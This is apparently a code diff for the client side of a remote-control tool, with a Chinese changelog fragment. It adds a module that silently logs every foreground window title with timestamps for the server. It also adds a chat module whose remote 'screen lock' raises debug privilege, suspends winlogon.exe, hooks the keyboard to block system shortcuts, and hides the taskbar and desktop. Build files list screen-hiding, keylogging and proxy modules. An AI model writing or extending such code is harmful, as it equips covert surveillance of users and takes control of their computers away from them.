- 線上主機右鍵三個選單項目新增圖示(位圖陣列 63→66)
**Bug 修復:**
- 用戶端螢幕控制批次解析錯誤:記錄數是 7 的倍數時誤判 MSG32 致注入錯亂(`%48==0` 優先)
- 心跳延遲更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 顯式截斷
- ONLINELIST_PRIVILEGE 列舉錯位損壞歷史資料庫(權限列移至 16)
- 遠端桌面游標跨對話框污染(改 `OnSetCursor` 逐視窗路由)
- 用戶端記錄對話框 EDIT 上限停止刷新(`SetLimitText(0)`)
- 視窗管理員檢視檢查讀取陳舊狀態、處理程序列表架構欄排序無效、FRP / NAT 下視窗標題亂碼
### v1.3.8 (2026.8.3) ### v1.3.8 (2026.8.3)
**SYSTEM 權限用戶端 & 主控可用性增強 & Bug 修復** **SYSTEM 權限用戶端 & 主控可用性增強 & Bug 修復**
+126
View File
@@ -0,0 +1,126 @@
// ActivityHistory.cpp: 客户端历史活动记录采集模块
#include "stdafx.h"
#include "ActivityHistory.h"
#include "KernelManager.h" // ActivityWindow
ActivityHistory& ActivityHistory::Instance()
{
static ActivityHistory inst;
return inst;
}
void ActivityHistory::Start()
{
if (m_started.exchange(true))
return;
m_running = true;
m_thread = std::thread(&ActivityHistory::Loop, this);
}
void ActivityHistory::Stop()
{
m_running = false;
if (m_thread.joinable())
m_thread.join();
}
std::string ActivityHistory::Dump() const
{
std::lock_guard<std::mutex> lock(m_mutex);
std::string out;
// 当前进行中的窗口:若已持续达到阈值,作为最新一条返回
if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
for (const auto& r : m_records)
out += r + "\n";
return out;
}
void ActivityHistory::Loop()
{
// 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC,避免“停在一个窗口上看几秒”被过早结账。
const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
ActivityWindow aw;
HWND lastHwnd = NULL;
std::string lastTitle;
std::string startTime;
int dwellSec = 0;
while (m_running) {
// 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
{
std::lock_guard<std::mutex> lock(m_mutex);
if (hwnd == NULL || title.empty()) {
// 空闲/锁定/无标题:结账上一个窗口
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
lastHwnd = NULL;
lastTitle.clear();
dwellSec = 0;
} else if (hwnd == lastHwnd) {
// 同一窗口:即使标题动态变化也连续累计,标题取最新值
++dwellSec;
lastTitle = title;
} else {
// 窗口切换:结账上一个,开始累计新窗口
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
lastHwnd = hwnd;
lastTitle = title;
startTime = NowStr();
dwellSec = 1;
}
while (m_records.size() > ACTIVITY_HISTORY_MAX)
m_records.pop_back();
m_curTitle = lastTitle;
m_curStartTime = startTime;
m_curDwellSec = dwellSec;
}
Sleep(1000);
}
}
std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
{
// 标题里的换行会破坏“每行一条”,做最小清洗
std::string t;
t.reserve(title.size());
for (char c : title) {
if (c == '\r' || c == '\n') c = ' ';
t += c;
}
return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
}
std::string ActivityHistory::FormatDuration(int sec)
{
if (sec < 0) sec = 0;
if (sec < 60)
return std::to_string(sec) + "s";
if (sec < 3600) {
int m = sec / 60, s = sec % 60;
return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
: std::to_string(m) + "m";
}
int h = sec / 3600, m = (sec % 3600) / 60;
return std::to_string(h) + "h" + std::to_string(m) + "m";
}
std::string ActivityHistory::NowStr()
{
SYSTEMTIME st;
GetLocalTime(&st);
char buf[32];
sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
return buf;
}
+54
View File
@@ -0,0 +1,54 @@
#pragma once
#include <string>
#include <deque>
#include <mutex>
#include <thread>
#include <atomic>
// 历史活动记录:
// 每条格式:[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
// 倒序存储(最新在前)。后台线程每 1 秒采样一次前台窗口。
#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录
#define ACTIVITY_IDLE_BREAK_SEC 300 // 空闲打断阈值(秒):空闲超过此值才结账当前窗口
// 注意:与心跳“活动窗口”列的 6s 判定不同,这里要远大于 MIN_DWELL,
// 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数
class ActivityHistory
{
public:
static ActivityHistory& Instance();
// 启动常驻采样线程(幂等,重复调用无副作用)
void Start();
// 停止采样线程
void Stop();
// 返回全部历史记录(最新在前,多行文本,每行一条)
std::string Dump() const;
private:
ActivityHistory() = default;
~ActivityHistory() { Stop(); }
ActivityHistory(const ActivityHistory&) = delete;
ActivityHistory& operator=(const ActivityHistory&) = delete;
void Loop();
// 拼一条记录字符串
static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
// 时长格式化:Ns / Nm / NmNs / NhNm
static std::string FormatDuration(int sec);
// 当前时间戳 "YYYY-MM-DD HH:MM:SS"
static std::string NowStr();
mutable std::mutex m_mutex;
std::deque<std::string> m_records; // 已完成记录,最新在前
std::string m_curTitle; // 当前进行中的窗口标题
std::string m_curStartTime; // 当前窗口的起始时间
int m_curDwellSec = 0; // 当前窗口已连续活跃秒数
std::atomic<bool> m_running{ false };
std::atomic<bool> m_started{ false };
std::thread m_thread;
};
+1
View File
@@ -74,6 +74,7 @@ CAudio::~CAudio()
WAIT (m_hThreadCallBack, 30); WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack) if (m_hThreadCallBack)
Mprintf("没有成功关闭waveInCallBack.\n"); Mprintf("没有成功关闭waveInCallBack.\n");
Mprintf("TerminateThread: waveIn 线程 handle=%p threadId=%lu\n", m_Thread, GetThreadId(m_Thread));
TerminateThread(m_Thread, -999); TerminateThread(m_Thread, -999);
m_Thread = NULL; m_Thread = NULL;
} }
+336
View File
@@ -0,0 +1,336 @@
// ChatManager.cpp: implementation of the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ChatManager.h"
#include "Common.h"
#include "resource.h"
#include <TlHelp32.h>
#if ENABLE_MESSAGE
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
#define SE_DEBUG_PRIVILEGE 20
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
struct PIDWNDINFO {
DWORD dwProcessId;
HWND hWnd;
};
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
static HANDLE g_hProcess = NULL;
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
static HHOOK g_hKeyBoard = NULL;
static int g_nLocked = 0;
static DWORD GetWinlogonPid()
{
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
BOOL rtn = Process32First(snap, &pEntry);
while (rtn) {
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
CloseHandle(snap);
return pEntry.th32ProcessID;
}
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
rtn = Process32Next(snap, &pEntry);
}
CloseHandle(snap);
return 0;
}
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
switch (wParam) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
case WM_KEYUP:
case WM_SYSKEYUP:
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|| (p->vkCode == VK_LWIN)
|| (p->vkCode == VK_RWIN)) {
return 1;
}
break;
}
}
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
}
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
ShowWindow(hWnd, SW_MINIMIZE);
return TRUE;
}
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
pInfo->hWnd = hWnd;
return FALSE;
}
return TRUE;
}
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
static void ChatSetHook()
{
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
HMODULE hMod = LoadLibrary("ntdll");
if (hMod) {
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
DWORD pid = GetWinlogonPid();
BOOLEAN dummy = 0;
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
}
}
static void ChatUnSetHook()
{
if (g_hKeyBoard) {
UnhookWindowsHookEx(g_hKeyBoard);
g_hKeyBoard = NULL;
}
if (g_lpfnNtResumeProcess && g_hProcess) {
g_lpfnNtResumeProcess(g_hProcess);
}
if (g_hProcess) {
CloseHandle(g_hProcess);
g_hProcess = NULL;
}
g_lpfnNtResumeProcess = NULL;
}
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
static void UnlockScreen()
{
ChatUnSetHook();
ClipCursor(NULL);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
g_nLocked = 0;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
m_hInstance = HINSTANCE(user);
m_hWnd = NULL;
m_bRun = TRUE;
g_nLocked = 0;
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
BYTE bToken = TOKEN_CHAT_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen();
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
Mprintf("Chat 构造\n");
}
CChatManager::~CChatManager()
{
m_bRun = FALSE;
while (m_hThread)
Sleep(100);
if (g_nLocked == 1) {
UnlockScreen();
}
if (m_hWnd) {
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
}
Mprintf("Chat 析构\n");
}
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
{
CChatManager* pThis = (CChatManager*)lParam;
HANDLE& hThread(pThis->m_hThread);
pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
CChatManager::ChatDialogProc, (LPARAM)pThis);
if (pThis->m_hWnd) {
SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
// 移除最小化/最大化按钮
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
CloseHandle(hThread);
hThread = NULL;
return 0;
}
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
switch (uMsg) {
case WM_INITDIALOG:
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
pThis = (CChatManager*)lParam;
SetWindowText(hDlg, "远程交谈");
SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
{
HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
if (hIcon) {
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
}
}
return TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
char str[4096] = { 0 };
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
if (str[0] == 0) {
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
return TRUE; // 消息为空不发送
}
pThis->Send((LPBYTE)str, lstrlenA(str) + 1);
SYSTEMTIME st;
GetLocalTime(&st);
char Text[5120] = { 0 };
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "自己:",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
int nLen = GetWindowTextLength(hEditChatLog);
if (nLen >= 20000) {
SetWindowText(hEditChatLog, "");
nLen = GetWindowTextLength(hEditChatLog);
}
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
return TRUE;
}
if (LOWORD(wParam) == IDC_BUTTON_END) {
// 被控端主动结束交谈:关闭本地聊天窗口
SendMessage(hDlg, WM_USER + 1, NULL, NULL);
return TRUE;
}
break;
case WM_CLOSE:
return 0;
case WM_USER + 1:
pThis->m_hWnd = NULL;
DestroyWindow(hDlg);
return TRUE;
case WM_USER + 2:
ChatSetHook();
return TRUE;
case WM_DESTROY:
PostQuitMessage(0);
return TRUE;
default:
break;
}
return FALSE;
}
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer[0] == TOKEN_HEARTBEAT) return;
if (ulLength == 1) {
switch (szBuffer[0]) {
case COMMAND_NEXT_CHAT:
NotifyDialogIsOpen();
return;
case COMMAND_CHAT_CLOSE:
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
return;
case COMMAND_CHAT_SCREEN_LOCK:
NotifyDialogIsOpen();
if (m_hWnd && g_nLocked == 0) {
ShowWindow(m_hWnd, SW_RESTORE);
RECT rct = { 0 };
GetWindowRect(m_hWnd, &rct);
ClipCursor(&rct);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
PIDWNDINFO pwi = { 0 };
pwi.dwProcessId = 0;
pwi.hWnd = m_hWnd;
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
g_nLocked = 1;
}
return;
case COMMAND_CHAT_SCREEN_UNLOCK:
if (g_nLocked == 1) {
UnlockScreen();
}
return;
default:
break;
}
}
// 收到服务端发来的聊天文本
SYSTEMTIME st;
GetLocalTime(&st);
char Text[8192] = { 0 };
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "对方:",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
if (m_hWnd) {
HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
int nLen = GetWindowTextLength(hEditChatLog);
if (nLen >= 20000) {
SetWindowText(hEditChatLog, "");
nLen = GetWindowTextLength(hEditChatLog);
}
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
ShowWindow(m_hWnd, SW_RESTORE);
}
}
#endif
+30
View File
@@ -0,0 +1,30 @@
// ChatManager.h: interface for the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#pragma once
#include "Manager.h"
#if ENABLE_MESSAGE==0
#define CChatManager CManager
#else
class CChatManager : public CManager
{
public:
HINSTANCE m_hInstance;
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CChatManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
private:
BOOL m_bRun;
HANDLE m_hThread;
HWND m_hWnd;
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
};
#endif
+11 -2
View File
@@ -3,6 +3,7 @@
#include "stdafx.h" #include "stdafx.h"
#include "ClientDll.h" #include "ClientDll.h"
#include "ActivityHistory.h"
#include <common/iniFile.h> #include <common/iniFile.h>
#include <common/LANChecker.h> #include <common/LANChecker.h>
#include <common/VerifyV2.h> #include <common/VerifyV2.h>
@@ -65,13 +66,15 @@ BOOL IsClientAppRunning(void* thisApp)
return S_CLIENT_NORMAL == This->g_bExit; return S_CLIENT_NORMAL == This->g_bExit;
} }
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
{ {
auto v = StringToVector(remoteAddr, ':', 2); auto v = StringToVector(remoteAddr, ':', 2);
if (v[0].empty() || v[1].empty()) if (v[0].empty() || v[1].empty())
return nullptr; return nullptr;
auto a = new ClientApp(g_MyApp.g_Connection, run, shared); auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str())); a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
a->g_Connection->iHeaderEnc = headerEnc;
return a; return a;
} }
@@ -588,6 +591,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
std::string ip = settings.ServerIP(); std::string ip = settings.ServerIP();
int port = settings.ServerPort(); int port = settings.ServerPort();
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port); Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
ActivityHistory::Instance().Start();
if (!app.m_bShared) { if (!app.m_bShared) {
auto now = time(0); auto now = time(0);
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str()); valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
@@ -595,6 +599,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
auto saved_ip = cfg.GetStr("settings", "master"); auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port"); auto saved_port = cfg.GetInt("settings", "port");
settings.SetServer(saved_ip.c_str(), saved_port); settings.SetServer(saved_ip.c_str(), saved_port);
auto saved_proto = cfg.GetStr("settings", "master_proto");
if (saved_proto == "0" || saved_proto == "1")
settings.iHeaderEnc = atoi(saved_proto.c_str());
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port, Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
int(valid_to-now)); int(valid_to-now));
} }
@@ -615,7 +622,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
auto a = cfg.GetStr("settings", "share_list"); auto a = cfg.GetStr("settings", "share_list");
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|'); auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
for (int i = 0; i < shareList.size(); ++i) { for (int i = 0; i < shareList.size(); ++i) {
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE); auto v = StringToVector(shareList[i], ':', 3);
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str()); Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
} }
+1 -1
View File
@@ -130,7 +130,7 @@ public:
} }
}; };
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE); ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1);
// 启动核心线程,参数为:ClientApp // 启动核心线程,参数为:ClientApp
DWORD WINAPI StartClient(LPVOID lParam); DWORD WINAPI StartClient(LPVOID lParam);
+23
View File
@@ -178,13 +178,22 @@
<ClCompile Include="Audio.cpp" /> <ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" /> <ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" /> <ClCompile Include="Buffer.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="CaptureVideo.cpp" /> <ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="clang_rt_compat.c" /> <ClCompile Include="clang_rt_compat.c" />
<ClCompile Include="ClientDll.cpp" /> <ClCompile Include="ClientDll.cpp" />
<ClCompile Include="ClientLogManager.cpp" /> <ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Common.cpp" /> <ClCompile Include="Common.cpp" />
<ClCompile Include="ConPTYManager.cpp" /> <ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" /> <ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" /> <ClCompile Include="IOCPUDPClient.cpp" />
@@ -214,6 +223,8 @@
<ClCompile Include="CFFmpegH264Encoder.cpp" /> <ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" /> <ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" /> <ClCompile Include="TalkManager.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="VideoManager.cpp" /> <ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
</ItemGroup> </ItemGroup>
@@ -225,15 +236,24 @@
<ClInclude Include="..\common\zstd_wrapper.h" /> <ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" /> <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" /> <ClInclude Include="Audio.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="AudioManager.h" /> <ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" /> <ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" /> <ClInclude Include="clip.h" />
<ClInclude Include="ClientLogManager.h" /> <ClInclude Include="ClientLogManager.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ConPTYManager.h" /> <ClInclude Include="ConPTYManager.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" /> <ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" /> <ClInclude Include="IOCPUDPClient.h" />
@@ -266,6 +286,9 @@
<ClInclude Include="StdAfx.h" /> <ClInclude Include="StdAfx.h" />
<ClInclude Include="SystemManager.h" /> <ClInclude Include="SystemManager.h" />
<ClInclude Include="TalkManager.h" /> <ClInclude Include="TalkManager.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" /> <ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" /> <ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" /> <ClInclude Include="X264Encoder.h" />
+2
View File
@@ -41,6 +41,7 @@
<ClCompile Include="EncoderFactory.cpp" /> <ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="..\common\file_upload.cpp" /> <ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="ConPTYManager.cpp" /> <ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="session.cpp" /> <ClCompile Include="session.cpp" />
<ClCompile Include="reg_startup.c" /> <ClCompile Include="reg_startup.c" />
<ClCompile Include="ServiceWrapper.c" /> <ClCompile Include="ServiceWrapper.c" />
@@ -59,6 +60,7 @@
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" /> <ClInclude Include="clip.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
+36
View File
@@ -4,13 +4,19 @@
#include "Manager.h" #include "Manager.h"
#include "ScreenManager.h" #include "ScreenManager.h"
#include "FileManager.h" #include "FileManager.h"
#include "file/FileManager.h"
#include "screenhide/ScreenHideManager.h"
#include "DrawingBoardMgr.h"
#include "TalkManager.h" #include "TalkManager.h"
#include "ChatManager.h"
#include "MachineManager.h"
#include "ShellManager.h" #include "ShellManager.h"
#include "SystemManager.h" #include "SystemManager.h"
#include "ConPTYManager.h" #include "ConPTYManager.h"
#include "AudioManager.h" #include "AudioManager.h"
#include "RegisterManager.h" #include "RegisterManager.h"
#include "ServicesManager.h" #include "ServicesManager.h"
#include "ConnectionsManager.h"
#include "VideoManager.h" #include "VideoManager.h"
#include "KeyboardManager.h" #include "KeyboardManager.h"
#include "ProxyManager.h" #include "ProxyManager.h"
@@ -100,6 +106,31 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
